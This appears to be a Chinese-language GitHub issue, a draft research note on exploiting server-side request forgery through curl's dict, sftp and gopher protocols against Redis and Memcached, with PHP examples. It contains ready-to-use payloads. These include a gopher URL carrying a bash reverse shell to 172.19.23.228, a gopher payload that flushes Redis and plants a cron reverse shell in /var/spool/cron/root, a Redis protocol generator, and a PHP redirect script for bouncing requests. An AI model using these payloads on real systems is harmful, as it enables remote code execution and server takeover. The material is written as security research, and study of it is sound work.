SSRF漏洞研究(完善中)
xinali opened this issue · 0 comments
SSRF 利用
SSRF目前我所见过的主要攻击本地服务器主要有两种方式一个是利用redis,另一种是利用Memcached
进行SSRF攻击,利用最多的库就是libcurl
,比如php中的curl_exec
,curl
命令行等,可以先具体看看curl在SSRF中的作用。
SSRF 客户端主要利用方式
curl支持的协议
查看curl
支持的协议
# curl -V
Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp scp sftp smb smbs smtp smtps telnet tftp
我们通过使用curl的几个协议可以知道,入侵主机的一些程序信息
- dict
attacker.com $ curl 'dict://victim.com:2323'
victim.com $ nc -lvvp 2323 Listening on [0.0.0.0] (family 0, port 2323)
Connection from xxx 33442 received!
CLIENT libcurl 7.47.0
- sftp
attacker.com $ curl 'dict://victim.com:2323'
evil.com $ nc -v -l 11111
Listening on [0.0.0.0] (family 0, port 11111)
Connection from [54.166.236.232] port 11111 [tcp/*] accepted (family 2, sport 35789)
CLIENT libcurl 7.40.0
QUIT
大部分的libcurl都不支持sftp协议,需要经过编译才能支持,所以一般这种探测都不会成功。不支持可以表现 在两个方面,一种是客户端的curl不支持发送sftp协议的数据,另一方面服务器端没有办法利用ssrf进行sftp的请求或接受该协议数据。
- gopher
gopher协议最简单的请求: gopher://127.0.0.1:2333/_test
gopher可以向任何端口发送任意形式的请求,例如http的post包:
gopher://test.com/_POST /exp.php HTTP/1.1%0d%0aHost: test.com_ip%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%0d%0aContent-Length: 49%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ae=bash -i >%2526 /dev/tcp/172.19.23.228/2333 0>%25261null
比如我们利用gopher发送符合redis协议的数据包,攻击本地的redis,首先产生redis数据协议,可以利用下面的脚本产生需要的redis协议数据,只要每个数据用%0d%0a
分割即可
#!/bin/bash
#
# License: MIT
# Author: Michael Weibel
#
gen_redis_protocol() {
cmd=$1
proto=""
proto+="*"
number_of_words=0
byword=""
for word in $cmd
do
number_of_words=$[number_of_words+1]
byword+="$"
byword+=${#word}
byword+="\\r\\n"
byword+=$word
byword+="\\r\\n"
done
proto+=${number_of_words}
proto+="\\r\\n"
proto+=${byword}
printf $proto
}
gen_redis_protocol "SET mykey Hello"
因为redis是通过\r\n
即%0d%0a
,来分割每条命令的,所以首先用上面的脚本生成符合redis协议的数据,之后利用%0d%0a
合并即可,举个简单的例子
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
实际上任何形式的报文都可以发,在下划线之后的内容既是报文内容,要注意url加密问题。
其中sftp和dict主要用于获取服务器端libssh
和libcurl
的版本信息,因为可以利用这两个软件的信息进行漏洞利用,gopher则可以直接进行攻击。
libssh2 1.4.2 (probably vulnerable to CVE-2015-1782) and libcurl 7.40.0 (probably vulnerable to CVE-2015-3144, CVE-2015-3237)
SSRF 起源---服务器后端语言
SSRF 服务器端--php后端
如果利用php写的后端,那么php中可以触发ssrf的函数: file_get_contents()
, fsockopen()
, curl_exec()
, fopen()
curl_exec()
,可以发送get请求和post请求:
curl如果前面不输入协议会自动走http协议, 默认情况下,curl不会跟踪302跳转,并且curl不支持php的伪协议,不用考虑文件包含漏洞。
$ http --follow --all -h http://172.16.1.4/test_curl_exec.php
<?php
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, 'http://172.16.1.4/302.php');
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 1);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); # 设置curl跟踪302跳转
$response = curl_exec($curl);
var_dump($response);
curl_close($curl);
?>
file_get_contents
只能get访问url,但是默认情况下就支持302跳转
$ http --follow --all -h http://172.16.1.4/test_curl_exec.php
<?php
$response = file_get_contents("http://172.16.1.4/302.php");
var_dump($response);
?>
必须输入协议,比如http://
,在php5.6
和php7.1.7
测试下都不支持gopher。
同样该函数也是LFI(本地文件包含)漏洞需要重点关注的函数
- fsockopen需要自己写http报文,几乎不会有人用吧。 Fopen用的也很少,但是它是可以请求一个url的,如果php开启了 fopen 的 gopher wrapper,那么fopen就可以直接发送gopher请求。
能够运行的原因就是curl
扩展支持dict
和file
协议,可以利用这些协议对主机进行相关的数据请求。普通的标签,比如img
,script
等基本都不会支持那么多的协议,就本就要想别的办法。
SSRF 提供某种服务--redis/memcache
redis
redis支持的通信协议格式
*<参数数量> CR LF
$<参数 1 的字节数量> CR LF
<参数 1 的数据> CR LF
...
$<参数 N 的字节数量> CR LF
<参数 N 的数据> CR LF
具体可以打印出来的是这样的
*3
$3
SET
$5
mykey
$7
myvalue
每行数据都是利用\r\n
(%0d0a
)分割的,只要能够发送这样的数据,redis都照常解析
http
协议
正常如果使用http
协议请求redis
,会出现这样的错误
$ curl 'http://212.24.111.64:6379/%0D%0Ainfo'
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'User-Agent:'
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
出现这样错误是因为http
协议的头数据都是通过\r\n
来分割的,redis解析这样的数据,所以就出现了上面的错误。如果想要通过http
数据利用redis,那么服务器端进行远程(或本地)请求的函数必须存在CRLF
这样http
头解析漏洞。
- CRLF漏洞
如果目标服务器存在CRLF漏洞,对redis使用http请
我根据数据报文格式和redis的通信协议,猜测redis就是解析tcp数据包,以
\r\n
即%0D%0A
为分割线,分割成各个命令,所以如果存在CRLF漏洞,那么可以直接将命令注入报文中,redis解析之后直接执行命令!
比如redis支持dict
协议
curl 'http://xx:6379/info'
curl 'http://xx:6379/config set dir /var/www/html'
ssrf在利用的过程中,经常会遇到某个应用"不支持"某种协议的情况,确切来说不是不支持,而是没有办法直接利用,举个例子,redis没有办法直接用http
请求进行相关操作,如果直接用的话,会遇到这样的情况
memcache
参考链接
360识图ssrf:http://wooyun.chamd5.org/bug_detail.php?wybug_id=wooyun-2016-0229611
远程服务器脚本:
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>
ssrf=> mysql 导致getshell:https://paper.seebug.org/510/